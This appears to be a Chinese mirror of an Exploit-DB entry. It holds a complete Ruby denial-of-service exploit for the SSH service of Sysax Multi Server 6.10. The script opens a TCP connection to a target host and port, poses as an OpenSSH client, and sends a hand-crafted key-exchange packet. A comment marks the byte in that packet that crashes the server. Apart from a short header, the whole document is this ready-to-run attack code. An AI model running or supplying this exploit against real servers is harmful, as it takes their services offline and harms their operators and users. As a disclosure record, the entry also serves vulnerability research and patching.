Sysax Multi Server 6.10 – SSH Denial of Service - 体验盒子

作者： Matt Andreko
日期： 2013-04-09
类别：
dos
平台：
windows
来源：https://www.exploit-db.com/exploits/24940/
#!/usr/bin/env ruby
# Sysax Multi Server 6.10 SSH DoS
# Matt "hostess" Andreko < mandreko [at] accuvant.com >
# http://www.mattandreko.com/2013/04/sysax-multi-server-610-ssh-dos.html

require 'socket'

unless ARGV.length == 2
puts "Usage: ruby #{$0} [host] [port]\n"
exit
end

packet = [0x00, 0x00, 0x03, 0x14, 0x08, 0x14, 0xff, 0x9f,
0xde, 0x5d, 0x5f, 0xb3, 0x07, 0x8f, 0x49, 0xa7,
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#3rd byte in this next line causes crash
0x00, 0x00, 0x28, 0x7a, 0x6c, 0x69, 0x62, 0x40,
0x6f, 0x70, 0x65, 0x6e, 0x73, 0x73, 0x68, 0x2e,
0x63, 0x6f, 0x6d, 0x2c, 0x7a, 0x6c, 0x69, 0x62,
0x2c, 0x6e, 0x6f, 0x6e, 0x65, 0x00, 0x00, 0x00,
0x1a, 0x7a, 0x6c, 0x69, 0x62, 0x40, 0x6f, 0x70,
0x65, 0x6e, 0x73, 0x73, 0x68, 0x2e, 0x63, 0x6f,
0x6d, 0x2c, 0x7a, 0x6c, 0x69, 0x62, 0x2c, 0x6e,
0x6f, 0x6e, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00].pack("C*")

host = ARGV[0]
port = ARGV[1]

sock = TCPSocket.open(host, port)

banner = sock.gets()
puts banner

sock.puts("SSH-2.0-OpenSSH_5.1p1 Debian-5ubuntu1\r\n")
sock.puts(packet)
resp = sock.gets()

sock.close()